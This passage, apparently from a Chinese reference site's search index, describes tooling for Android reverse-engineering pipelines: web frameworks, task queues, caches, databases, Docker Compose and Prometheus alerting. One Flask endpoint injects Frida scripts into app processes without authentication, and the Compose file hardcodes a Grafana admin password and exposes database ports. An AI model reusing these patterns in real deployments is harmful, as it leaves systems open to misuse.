需外部工具 分布式 scrapy-redis Apify 平台 需自行实现 内存占用 中等 较高（含浏览器） 极低 学习曲线 中等 低 中等 生态丰富度 极高 中等 较低 适用 RE 场景 通用采集、协议分析 JS 逆向、动态页面 高并发批量采集 选型建议： 需要抓取服务端渲染的页面或对接 Python 逆向工具链 → Scrapy 需要分析 JS 混淆代码、拦截浏览器请求 → Crawlee 需要极低资源消耗下的高并发批量扫描 → Colly ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:1:4","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#d-框架对比"},{"categories":null,"collections":null,"content":"2. Web 框架 在 RE 工作中，Web 框架用于构建内部管理后台、API 服务和可视化面板，将逆向分析的成果以工程化的方式对外输出。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:2:0","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#2-web-框架"},{"categories":null,"collections":null,"content":"a) FastAPI FastAPI 是当前 Python 生态中性能最好的 Web 框架，自带 OpenAPI 文档生成，非常适合构建 RE 工具的 API 层。 # re_api_server.py - 逆向工程结果查询 API from fastapi import FastAPI, HTTPException, Query from pydantic import BaseModel from typing import Optional import motor.motor_asyncio app = FastAPI(title=\"RE Data API\", version=\"1.0.0\") client = motor.motor_asyncio.AsyncIOMotorClient(\"mongodb://localhost:27017\") db = client.re_database class SignatureResult(BaseModel): package_name: str algorithm: str key_material: Optional[str] = None confidence: float analyzed_at: str @app.get(\"/api/v1/signatures/{package_name}\") async def get_signature(package_name: str): \"\"\"查询指定 APK 的签名算法分析结果\"\"\" result = await db.signatures.find_one({\"package_name\": package_name}) if not result: raise HTTPException(status_code=404, detail=\"未找到该包名的分析结果\") result.pop(\"_id\") return result @app.get(\"/api/v1/search\") async def search_results( keyword: str = Query(..., min_length=2), algo_type: Optional[str] = Query(None, regex=\"^(AES|RSA|DES|HMAC|SM[234])$\"), limit: int = Query(20, le=100), ): \"\"\"搜索逆向分析结果\"\"\" query = {\"$text\": {\"$search\": keyword}} if algo_type: query[\"algorithm\"] = algo_type cursor = db.signatures.find(query).limit(limit) results = await cursor.to_list(length=limit) for r in results: r.pop(\"_id\") return {\"total\": len(results), \"data\": results} @app.post(\"/api/v1/tasks\") async def create_analysis_task(package_name: str, priority: int = 5): \"\"\"提交新的逆向分析任务\"\"\" task = { \"package_name\": package_name, \"priority\": priority, \"status\": \"pending\", } result = await db.tasks.insert_one(task) return {\"task_id\": str(result.inserted_id), \"status\": \"pending\"} ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:2:1","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#a-fastapi"},{"categories":null,"collections":null,"content":"b) Flask Flask 适合快速搭建轻量级工具和脚本的 Web 化封装。 # flask_frida_dashboard.py - Frida 脚本管理面板 from flask import Flask, render_template, request, jsonify import subprocess import json app = Flask(__name__) @app.route('/dashboard') def dashboard(): \"\"\"Frida 脚本管理主页\"\"\" scripts = load_scripts_from_db() return render_template('dashboard.html', scripts=scripts) @app.route('/api/inject', methods=['POST']) def inject_script(): \"\"\"向目标进程注入 Frida 脚本\"\"\" data = request.json package = data['package_name'] script_id = data['script_id'] script_content = get_script_by_id(script_id) result = execute_frida_injection(package, script_content) return jsonify({\"success\": True, \"output\": result}) @app.route('/api/hooks/\u003cpackage_name\u003e') def get_hooks(package_name): \"\"\"查询某个 App 的所有 Hook 记录\"\"\" hooks = query_hooks(package_name) return jsonify(hooks) ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:2:2","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#b-flask"},{"categories":null,"collections":null,"content":"c) Django Django 适合需要完整后台管理界面、ORM 和用户权限管理的场景。 # models.py - Django ORM 定义 RE 数据模型 from django.db import models class AnalysisTarget(models.Model): package_name = models.CharField(max_length=255, unique=True, db_index=True) app_name = models.CharField(max_length=255) version = models.CharField(max_length=50) risk_level = models.IntegerField(choices=[(1,'低'),(2,'中'),(3,'高'),(4,'极高')]) ssl_pinning = models.BooleanField(default=False) root_detection = models.BooleanField(default=False) created_at = models.DateTimeField(auto_now_add=True) class Meta: ordering = ['-created_at'] class HookRecord(models.Model): target = models.ForeignKey(AnalysisTarget, on_delete=models.CASCADE, related_name='hooks') class_name = models.CharField(max_length=500) method_name = models.CharField(max_length=200) arguments = models.JSONField(default=list) return_value = models.TextField(blank=True) timestamp = models.DateTimeField(auto_now_add=True) ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:2:3","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#c-django"},{"categories":null,"collections":null,"content":"d) Web 框架对比 维度 FastAPI Flask Django 性能 极高 (ASGI) 中等 (WSGI) 中等 (WSGI/ASGI) 异步支持 原生 async 需扩展 Django 4.0+ 支持 自动文档 内置 Swagger/ReDoc 需 flask-restx 需 drf-spectacular ORM 无（推荐 SQLAlchemy） 无 内置强大 ORM Admin 后台 无 无 内置 Admin 学习曲线 低 极低 较高 RE 场景推荐 API 服务、高并发查询 小型工具封装 完整管理平台 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:2:4","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#d-web-框架对比"},{"categories":null,"collections":null,"content":"3. 任务调度 逆向工程的工作流通常包含多个步骤：下载样本 → 静态分析 → 动态分析 → 结果入库 → 告警通知。任务调度框架负责编排和执行这些步骤。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:3:0","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#3-任务调度"},{"categories":null,"collections":null,"content":"a) Celery Celery 是 Python 生态中最流行的分布式任务队列，适合将 RE 工作流拆分为独立的异步任务。 # tasks.py - Celery 逆向分析任务 from celery import Celery, chain, group from celery.schedules import crontab app = Celery('re_pipeline', broker='redis://localhost:6379/0', backend='redis://localhost:6379/1') app.conf.update( task_serializer='json', result_expires=3600, task_acks_late=True, # 任务执行完毕后才确认 worker_prefetch_multiplier=1, # 每次只取一个任务，避免饥饿 task_reject_on_worker_lost=True, ) @app.task(bind=True, max_retries=3, default_retry_delay=60) def download_apk(self, package_name, url): \"\"\"下载 APK 样本\"\"\" try: path = fetch_and_save(url, f\"/data/apks/{package_name}.apk\") return {\"package\": package_name, \"path\": path} except Exception as exc: raise self.retry(exc=exc) @app.task def static_analysis(download_result): \"\"\"静态分析: 反编译、提取字符串、识别加密算法\"\"\" apk_path = download_result['path'] result = run_jadx_decompile(apk_path) crypto_patterns = scan_crypto_usage(result['source_dir']) return {**download_result, \"crypto\": crypto_patterns} @app.task def dynamic_analysis(static_result): \"\"\"动态分析: Frida Hook 关键函数\"\"\" package = static_result['package'] hooks = run_frida_hooks(package, static_result['crypto']) return {**static_result, \"hooks\": hooks} @app.task def store_results(analysis_result): \"\"\"将分析结果写入数据库\"\"\" save_to_mongodb(analysis_result) # 编排完整的分析流水线 def run_full_pipeline(package_name, url): \"\"\"串联整条管道: 下载 → 静态分析 → 动态分析 → 入库\"\"\" pipeline = chain( download_apk.s(package_name, url), static_analysis.s(), dynamic_analysis.s(), store_results.s(), ) return pipeline.apply_async() # 定时任务: 每天凌晨 2 点扫描新版本 app.conf.beat_schedule = { 'scan-new-versions': { 'task': 'tasks.scan_app_updates', 'schedule': crontab(hour=2, minute=0), }, } ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:3:1","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#a-celery"},{"categories":null,"collections":null,"content":"b) APScheduler APScheduler 适合不需要分布式能力的轻量级定时任务。 # scheduler.py - 轻量级定时扫描调度 from apscheduler.schedulers.background import BackgroundScheduler from apscheduler.triggers.cron import CronTrigger scheduler = BackgroundScheduler() @scheduler.scheduled_job(CronTrigger(hour=3, minute=0)) def nightly_scan(): \"\"\"每天凌晨 3 点执行全量扫描\"\"\" targets = get_all_monitored_apps() for target in targets: check_version_update(target) @scheduler.scheduled_job('interval', minutes=5) def health_check(): \"\"\"每 5 分钟检查 Frida Server 连接状态\"\"\" devices = list_connected_devices() for device in devices: if not ping_frida_server(device): send_alert(f\"Frida Server 断开: {device}\") scheduler.start() ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:3:2","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#b-apscheduler"},{"categories":null,"collections":null,"content":"c) Apache Airflow Airflow 适合需要可视化编排、复杂依赖管理和跨团队协作的大型 RE 项目。 # dags/re_pipeline_dag.py - Airflow DAG 定义 from airflow import DAG from airflow.operators.python import PythonOperator from airflow.operators.bash import BashOperator from airflow.utils.dates import days_ago default_args = { 'owner': 're-team', 'retries': 2, 'retry_delay': timedelta(minutes=5), } with DAG( 'apk_analysis_pipeline', default_args=default_args, schedule_interval='@daily', start_date=days_ago(1), catchup=False, tags=['reverse-engineering'], ) as dag: fetch_targets = PythonOperator( task_id='fetch_targets', python_callable=get_target_list, ) download = PythonOperator( task_id='download_samples', python_callable=batch_download, ) decompile = BashOperator( task_id='decompile', bash_command='jadx -d /data/output /data/apks/*.apk', ) analyze = PythonOperator( task_id='crypto_analysis', python_callable=run_crypto_scan, ) report = PythonOperator( task_id='generate_report', python_callable=build_report, ) # 定义 DAG 依赖关系 fetch_targets \u003e\u003e download \u003e\u003e decompile \u003e\u003e analyze \u003e\u003e report ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:3:3","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#c-apache-airflow"},{"categories":null,"collections":null,"content":"d) 调度框架对比 维度 Celery APScheduler Airflow 分布式 原生支持 不支持 支持 可视化 Flower 监控 无 内置 Web UI 任务依赖 chain/chord 无 DAG 编排 持久化 Redis/RabbitMQ 数据库/内存 PostgreSQL/MySQL 复杂度 中等 低 高 适用规模 中大型 小型 大型 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:3:4","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#d-调度框架对比"},{"categories":null,"collections":null,"content":"4. 缓存中间件 在 RE 数据管道中，缓存用于加速热点数据访问、避免重复计算和降低后端存储压力。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:4:0","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#4-缓存中间件"},{"categories":null,"collections":null,"content":"a) Redis 缓存模式 # redis_cache_patterns.py - RE 场景下的 Redis 缓存策略 import redis import json import hashlib r = redis.Redis(host='localhost', port=6379, db=0, decode_responses=True) # 模式 1: Cache-Aside (旁路缓存) — 最常用 def get_analysis_result(package_name: str) -\u003e dict: \"\"\"先查缓存，未命中则查库并回填\"\"\" cache_key = f\"re:analysis:{package_name}\" # 1. 查缓存 cached = r.get(cache_key) if cached: return json.loads(cached) # 2. 查数据库 result = query_from_mongodb(package_name) if result: # 3. 回填缓存，设置 TTL 避免数据过期 r.setex(cache_key, 3600, json.dumps(result)) else: # 缓存空值防止缓存穿透，短 TTL r.setex(cache_key, 60, json.dumps(None)) return result # 模式 2: 布隆过滤器 + 缓存 — 防止缓存穿透 def check_and_get(package_name: str) -\u003e dict: \"\"\"先用布隆过滤器判断是否存在，再查缓存\"\"\" if not r.execute_command('BF.EXISTS', 'known_packages', package_name): return None # 一定不存在，直接返回 return get_analysis_result(package_name) # 模式 3: 分布式锁 + 缓存重建 — 防止缓存击穿 def get_hot_data(key: str) -\u003e dict: \"\"\"热点数据的缓存重建，用分布式锁保证只有一个线程重建\"\"\" cached = r.get(key) if cached: return json.loads(cached) lock_key = f\"lock:{key}\" if r.set(lock_key, \"1\", nx=True, ex=10): # 获取锁 try: result = expensive_query(key) r.setex(key, 3600, json.dumps(result)) return result finally: r.delete(lock_key) else: # 未获取到锁，等待后重试 import time time.sleep(0.1) return get_hot_data(key) # 模式 4: Hash 结构存储分析结果 — 节省内存 def store_hook_results(package_name: str, hooks: list): \"\"\"用 Hash 结构存储 Hook 结果，便于部分更新\"\"\" hash_key = f\"re:hooks:{package_name}\" for hook in hooks: field = f\"{hook['class']}.{hook['method']}\" r.hset(hash_key, field, json.dumps(hook)) r.expire(hash_key, 7200) ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:4:1","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#a-redis-缓存模式"},{"categories":null,"collections":null,"content":"b) Memcached Memcached 适合简单的键值缓存场景，在多线程环境中性能优于 Redis。 # memcached_cache.py from pymemcache.client.hash import HashClient # 一致性哈希客户端，支持多节点 mc = HashClient([ ('mc-node1', 11211), ('mc-node2', 11211), ('mc-node3', 11211), ]) def cache_decompile_result(apk_hash: str, result: dict): \"\"\"缓存反编译结果（通常体积较大）\"\"\" mc.set(f\"decompile:{apk_hash}\", json.dumps(result), expire=86400) def get_decompile_result(apk_hash: str) -\u003e dict: cached = mc.get(f\"decompile:{apk_hash}\") return json.loads(cached) if cached else None ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:4:2","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#b-memcached"},{"categories":null,"collections":null,"content":"c) 本地缓存 对于高频访问且变动不频繁的数据，本地缓存可以避免网络开销。 # local_cache.py - 多级缓存策略 from functools import lru_cache from cachetools import TTLCache # 方案 1: Python 内置 LRU 缓存 — 适合纯函数 @lru_cache(maxsize=1024) def parse_dex_header(dex_path: str) -\u003e dict: \"\"\"DEX 文件头解析结果缓存\"\"\" return _do_parse_header(dex_path) # 方案 2: TTL 缓存 — 适合有时效性的数据 crypto_pattern_cache = TTLCache(maxsize=500, ttl=600) def get_crypto_patterns(package_name: str) -\u003e list: if package_name in crypto_pattern_cache: return crypto_pattern_cache[package_name] patterns = scan_crypto_in_source(package_name) crypto_pattern_cache[package_name] = patterns return patterns ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:4:3","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#c-本地缓存"},{"categories":null,"collections":null,"content":"d) 缓存策略对比 维度 Redis Memcached 本地缓存 数据结构 丰富 (String/Hash/List…) 纯键值 纯键值 持久化 支持 (RDB/AOF) 不支持 不支持 集群 Cluster/Sentinel 一致性哈希 不支持 网络开销 有 有 无 一致性 集群间最终一致 无保证 进程内一致 适用场景 通用缓存、会话、锁 大 value 缓存 热点只读数据 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:4:4","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#d-缓存策略对比"},{"categories":null,"collections":null,"content":"5. 数据库选型 逆向分析产生的数据形态多样：结构化的函数签名表、半结构化的 Hook 日志、时序性的监控指标。不同的数据形态需要不同的存储方案。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:5:0","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#5-数据库选型"},{"categories":null,"collections":null,"content":"a) 场景化选型矩阵 数据类型 推荐数据库 理由 APK 元信息（包名、版本、权限） PostgreSQL 结构化、需要复杂查询和联表 Hook 日志（函数调用、参数） MongoDB 半结构化、Schema 灵活 行为时序数据（调用频率、流量） ClickHouse 列式存储、聚合查询极快 加密密钥/证书指纹 PostgreSQL 需要事务保证和精确匹配 临时分析中间结果 Redis 内存存储、自动过期 全文搜索（反编译源码） Elasticsearch 倒排索引、模糊搜索 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:5:1","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#a-场景化选型矩阵"},{"categories":null,"collections":null,"content":"b) PostgreSQL — 结构化数据主力 -- 创建 RE 数据模型 CREATE TABLE analysis_targets ( id SERIAL PRIMARY KEY, package_name VARCHAR(255) UNIQUE NOT NULL, app_name VARCHAR(255), version VARCHAR(50), min_sdk INT, target_sdk INT, has_native_lib BOOLEAN DEFAULT FALSE, ssl_pinning_detected BOOLEAN DEFAULT FALSE, root_detection_detected BOOLEAN DEFAULT FALSE, protections JSONB DEFAULT '[]', -- JSONB 支持灵活的保护措施列表 created_at TIMESTAMP DEFAULT NOW(), updated_at TIMESTAMP DEFAULT NOW() ); CREATE INDEX idx_targets_package ON analysis_targets(package_name); CREATE INDEX idx_targets_protections ON analysis_targets USING GIN(protections); -- 分析结果表 CREATE TABLE crypto_findings ( id SERIAL PRIMARY KEY, target_id INT REFERENCES analysis_targets(id), algorithm VARCHAR(50) NOT NULL, -- AES, RSA, SM4, ... mode VARCHAR(20), -- CBC, ECB, GCM, ... key_source VARCHAR(100), -- 密钥来源: hardcoded, server, derived location TEXT, -- 代码位置 confidence DECIMAL(3,2), -- 置信度 0.00-1.00 raw_evidence JSONB, -- 原始证据 found_at TIMESTAMP DEFAULT NOW() ); -- 常用查询: 查找使用硬编码密钥的 App SELECT t.package_name, t.app_name, c.algorithm, c.location FROM analysis_targets t JOIN crypto_findings c ON t.id = c.target_id WHERE c.key_source = 'hardcoded' AND c.confidence \u003e 0.8 ORDER BY c.found_at DESC; ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:5:2","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#b-postgresql--结构化数据主力"},{"categories":null,"collections":null,"content":"c) MongoDB — 半结构化 Hook 数据 # mongodb_hook_storage.py from pymongo import MongoClient, ASCENDING from datetime import datetime client = MongoClient('mongodb://localhost:27017') db = client.re_data # 创建索引 db.hook_logs.create_index([(\"package_name\", ASCENDING), (\"timestamp\", ASCENDING)]) db.hook_logs.create_index([(\"class_name\", ASCENDING), (\"method_name\", ASCENDING)]) def store_hook_log(data: dict): \"\"\"存储 Frida Hook 捕获的数据 — Schema 灵活\"\"\" doc = { \"package_name\": data[\"package\"], \"class_name\": data[\"class\"], \"method_name\": data[\"method\"], \"arguments\": data.get(\"args\", []), # 参数列表，长度不定 \"return_value\": data.get(\"retval\"), \"stack_trace\": data.get(\"stacktrace\"), # 调用栈，可选 \"extras\": data.get(\"extras\", {}), # 额外信息，完全自由 \"timestamp\": datetime.utcnow(), } db.hook_logs.insert_one(doc) # 聚合查询: 统计每个 App 调用最频繁的加密函数 pipeline = [ {\"$match\": {\"class_name\": {\"$regex\": \"javax.crypto\"}}}, {\"$group\": { \"_id\": {\"pkg\": \"$package_name\", \"method\": \"$method_name\"}, \"call_count\": {\"$sum\": 1}, }}, {\"$sort\": {\"call_count\": -1}}, {\"$limit\": 20}, ] results = list(db.hook_logs.aggregate(pipeline)) ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:5:3","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#c-mongodb--半结构化-hook-数据"},{"categories":null,"collections":null,"content":"d) ClickHouse — 时序与统计分析 -- ClickHouse 表定义: 存储 API 调用行为数据 CREATE TABLE api_call_events ( event_date Date, event_time DateTime, package_name String, api_endpoint String, http_method Enum8('GET'=1, 'POST'=2, 'PUT'=3, 'DELETE'=4), status_code UInt16, response_time_ms UInt32, request_size UInt32, response_size UInt32, has_encryption UInt8 ) ENGINE = MergeTree() PARTITION BY toYYYYMM(event_date) ORDER BY (package_name, event_time) TTL event_date + INTERVAL 90 DAY; -- 查询: 某 App 过去 7 天每小时的加密 API 调用趋势 SELECT toStartOfHour(event_time) AS hour, count() AS total_calls, countIf(has_encryption = 1) AS encrypted_calls, round(encrypted_calls / total_calls * 100, 2) AS encryption_ratio FROM api_call_events WHERE package_name = 'com.example.target' AND event_date \u003e= today() - 7 GROUP BY hour ORDER BY hour; ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:5:4","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#d-clickhouse--时序与统计分析"},{"categories":null,"collections":null,"content":"6. 容器化 Docker 使得 RE 环境的搭建变得可复现、可分发。一个完整的逆向分析环境涉及 Frida、jadx、apktool、各种 Python 库，手动配置极易出错。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:6:0","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#6-容器化"},{"categories":null,"collections":null,"content":"a) RE 工具链 Dockerfile # Dockerfile - 逆向工程分析环境 FROM python:3.11-slim # 安装系统依赖 RUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\ openjdk-17-jdk \\ android-sdk \\ wget \\ unzip \\ git \\ \u0026\u0026 rm -rf /var/lib/apt/lists/* # 安装 jadx ARG JADX_VERSION=1.5.0 RUN wget -q https://github.com/skylot/jadx/releases/download/v${JADX_VERSION}/jadx-${JADX_VERSION}.zip \\ \u0026\u0026 unzip jadx-${JADX_VERSION}.zip -d /opt/jadx \\ \u0026\u0026 rm jadx-${JADX_VERSION}.zip ENV PATH=\"/opt/jadx/bin:${PATH}\" # 安装 apktool ARG APKTOOL_VERSION=2.9.3 RUN wget -q https://github.com/iBotPeaches/Apktool/releases/download/v${APKTOOL_VERSION}/apktool_${APKTOOL_VERSION}.jar \\ -O /usr/local/bin/apktool.jar # 安装 Python 逆向工具 COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt # requirements.txt 内容: # frida-tools==12.4.0 # androguard==3.4.0 # r2pipe==1.8.0 # lief==0.14.0 WORKDIR /workspace COPY . . CMD [\"python\", \"main.py\"] ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:6:1","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#a-re-工具链-dockerfile"},{"categories":null,"collections":null,"content":"b) Docker Compose — 完整 RE 平台 # docker-compose.yml - 一键启动完整逆向分析平台 version: '3.8' services: # ========== 核心服务 ========== api: build: ./services/api ports: - \"8000:8000\" environment: - MONGODB_URI=mongodb://mongo:27017/re_data - REDIS_URL=redis://redis:6379/0 - CELERY_BROKER=redis://redis:6379/1 depends_on: - mongo - redis volumes: - apk_storage:/data/apks restart: unless-stopped worker: build: ./services/worker environment: - CELERY_BROKER=redis://redis:6379/1 - MONGODB_URI=mongodb://mongo:27017/re_data depends_on: - redis - mongo volumes: - apk_storage:/data/apks deploy: replicas: 4 # 4 个分析 Worker 并行处理 restart: unless-stopped scheduler: build: ./services/scheduler environment: - CELERY_BROKER=redis://redis:6379/1 depends_on: - redis restart: unless-stopped # ========== 数据层 ========== mongo: image: mongo:7.0 volumes: - mongo_data:/data/db ports: - \"27017:27017\" restart: unless-stopped redis: image: redis:7-alpine command: redis-server --maxmemory 512mb --maxmemory-policy allkeys-lru volumes: - redis_data:/data ports: - \"6379:6379\" restart: unless-stopped clickhouse: image: clickhouse/clickhouse-server:24.3 volumes: - clickhouse_data:/var/lib/clickhouse ports: - \"8123:8123\" - \"9000:9000\" restart: unless-stopped # ========== 监控层 ========== prometheus: image: prom/prometheus:v2.51.0 volumes: - ./config/prometheus.yml:/etc/prometheus/prometheus.yml ports: - \"9090:9090\" restart: unless-stopped grafana: image: grafana/grafana:10.4.0 environment: - GF_SECURITY_ADMIN_PASSWORD=re_admin_2024 volumes: - grafana_data:/var/lib/grafana - ./config/grafana/dashboards:/etc/grafana/provisioning/dashboards ports: - \"3000:3000\" depends_on: - prometheus restart: unless-stopped volumes: mongo_data: redis_data: clickhouse_data: grafana_data: apk_storage: ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:6:2","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#b-docker-compose--完整-re-平台"},{"categories":null,"collections":null,"content":"c) 常用 Docker 操作 # 启动整个平台 docker compose up -d # 查看所有服务状态 docker compose ps # 扩缩 Worker 数量 docker compose up -d --scale worker=8 # 查看 Worker 日志 docker compose logs -f worker # 进入分析容器进行调试 docker compose exec worker bash # 清理环境 docker compose down -v # -v 同时删除数据卷 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:6:3","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#c-常用-docker-操作"},{"categories":null,"collections":null,"content":"7. 监控与告警 数据管道必须具备完善的可观测性。一个 Frida Hook 脚本静默失败可能导致数天的数据缺失。 ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:7:0","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#7-监控与告警"},{"categories":null,"collections":null,"content":"a) Prometheus 指标暴露 # metrics.py - 在 FastAPI 中暴露 Prometheus 指标 from prometheus_client import Counter, Histogram, Gauge, generate_latest from fastapi import FastAPI, Response app = FastAPI() # 定义指标 TASKS_TOTAL = Counter( 're_tasks_total', '分析任务总数', ['task_type', 'status'] # 标签: 任务类型、状态 ) TASK_DURATION = Histogram( 're_task_duration_seconds', '任务执行耗时', ['task_type'], buckets=[1, 5, 10, 30, 60, 120, 300, 600] ) ACTIVE_HOOKS = Gauge( 're_active_hooks', '当前活跃的 Frida Hook 数量', ['device_id'] ) QUEUE_SIZE = Gauge( 're_queue_size', '待处理任务队列长度', ['queue_name'] ) # 在任务中记录指标 import time def run_analysis(package_name: str, task_type: str): start = time.time() try: result = do_analysis(package_name) TASKS_TOTAL.labels(task_type=task_type, status='success').inc() return result except Exception as e: TASKS_TOTAL.labels(task_type=task_type, status='failure').inc() raise finally: duration = time.time() - start TASK_DURATION.labels(task_type=task_type).observe(duration) @app.get(\"/metrics\") def metrics(): return Response(content=generate_latest(), media_type=\"text/plain\") ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:7:1","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#a-prometheus-指标暴露"},{"categories":null,"collections":null,"content":"b) Prometheus 配置 # config/prometheus.yml global: scrape_interval: 15s evaluation_interval: 15s rule_files: - \"alert_rules.yml\" alerting: alertmanagers: - static_configs: - targets: ['alertmanager:9093'] scrape_configs: - job_name: 're-api' static_configs: - targets: ['api:8000'] - job_name: 're-workers' static_configs: - targets: ['worker:8001'] - job_name: 'redis' static_configs: - targets: ['redis-exporter:9121'] - job_name: 'mongodb' static_configs: - targets: ['mongodb-exporter:9216'] ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:7:2","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#b-prometheus-配置"},{"categories":null,"collections":null,"content":"c) 告警规则 # config/alert_rules.yml groups: - name: re_pipeline_alerts rules: # 任务失败率过高 - alert: HighTaskFailureRate expr: | rate(re_tasks_total{status=\"failure\"}[5m]) / rate(re_tasks_total[5m]) \u003e 0.3 for: 5m labels: severity: critical annotations: summary: \"分析任务失败率超过 30%\" description: \"过去 5 分钟内任务失败率为 {{ $value | humanizePercentage }}\" # 队列积压 - alert: QueueBacklog expr: re_queue_size \u003e 1000 for: 10m labels: severity: warning annotations: summary: \"任务队列积压超过 1000\" # Frida Hook 掉线 - alert: HookDisconnected expr: re_active_hooks == 0 for: 3m labels: severity: critical annotations: summary: \"所有 Frida Hook 已断开\" # Worker 内存使用过高 - alert: WorkerHighMemory expr: process_resident_memory_bytes{job=\"re-workers\"} \u003e 2e9 for: 5m labels: severity: warning annotations: summary: \"Worker 内存使用超过 2GB\" ","date":"2025-05-23","objectID":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/:7:3","tags":["大数据","工程实践"],"title":"框架、工具与中间件","uri":"/reverse_engineering/android/04-reference/engineering/frameworks_and_middleware/#c-告警规则"},{"categories":null,"collections":null,"content":"d) Grafana 看板关键面板 搭建 Grafana 看板时，建议包含以下面板： 面板名称 数据源 PromQL 示例 任务吞吐量 Prometheus rate(re_tasks_total[5m]) 任务成功率 